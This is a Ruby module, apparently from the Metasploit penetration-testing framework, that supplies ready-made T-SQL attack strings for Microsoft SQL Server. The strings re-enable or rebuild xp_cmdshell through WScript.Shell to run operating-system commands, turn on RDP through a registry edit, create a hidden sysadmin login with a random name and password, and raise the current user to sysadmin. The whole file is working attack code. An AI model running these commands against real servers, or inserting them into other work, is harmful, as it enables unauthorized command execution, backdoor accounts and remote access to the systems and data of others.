module Msf

###
#
# This module provides MSSQL specific commands in a centralized manner.
#
###

module Exploit::Remote::MSSQL_COMMANDS

	# Re-enable the xp_cmdshell stored procedure in 2005 and 2008
	def mssql_xpcmdshell_enable(opts={});
		"exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
	end

	# Re-enable the xp_cmdshell stored procedure on 2000
	def mssql_xpcmdshell_enable_2000(opts={});
		"exec sp_addextendedproc 'xp_cmdshell','xp_log70.dll';exec sp_addextendedproc 'xp_cmdshell', 'C:\\Program Files\\Microsoft SQL Server\\MSSQL\\Binn\\xplog70.dll';"
	end

	# Disable the xp_cmdshell stored procedure on 2005 and 2008
	def mssql_xpcmdshell_disable(opts={});
		"exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
	end

	# Disable the xp_cmdshell stored procedure in 2000
	def mssql_sql_xpcmdshell_disable_2000(opts={});
		"exec sp_dropextendedproc 'xp_cmdshell';"
	end

	# Rebuild xp_cmdshell if it was deleted
	def mssql_rebuild_xpcmdshell(opts={});
		"CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS;DECLARE @result int, @OLEResult int, @RunResult int;DECLARE @ShellID int;EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT;IF @OLEResult <> 0 SELECT @result = @OLEResult;IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult);EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait;IF @OLEResult <> 0 SELECT @result = @OLEResult;IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult);EXECUTE @OLEResult = sp_OADestroy @ShellID;return @result;"
	end
	
	# Turn on RDP
	def mssql_rdp_enable(opts={});
		"exec master..xp_cmdshell 'REG ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /f /d 0';"
	end

	# Grab servername
	def mssql_enumerate_servername(opts={});
		"SELECT @@SERVERNAME"
	end

	# Get SQL Server Version Info
	def mssql_sql_info(opts={});
		"SELECT @@VERSION"
	end

	# Add random user and random password to "sa" role on MSSQL
	def mssql_sa_escalation(opts={});
		var_username = opts[:username] || rand_text_alpha(5)
		var_password = opts[:password] || rand_text_alpha(10)
		"exec sp_addlogin '#{var_username}', '#{var_password}';exec sp_addsrvrolemember '#{var_username}', 'sysadmin'"
	end

	# Add SQL current user to sysadmin group
	def mssql_current_user_escalation(opts={});
		"declare @moo varchar(50); set @moo = (select SYSTEM_USER); exec master..sp_addsrvrolemember @moo, 'sysadmin'"
	end
end
end
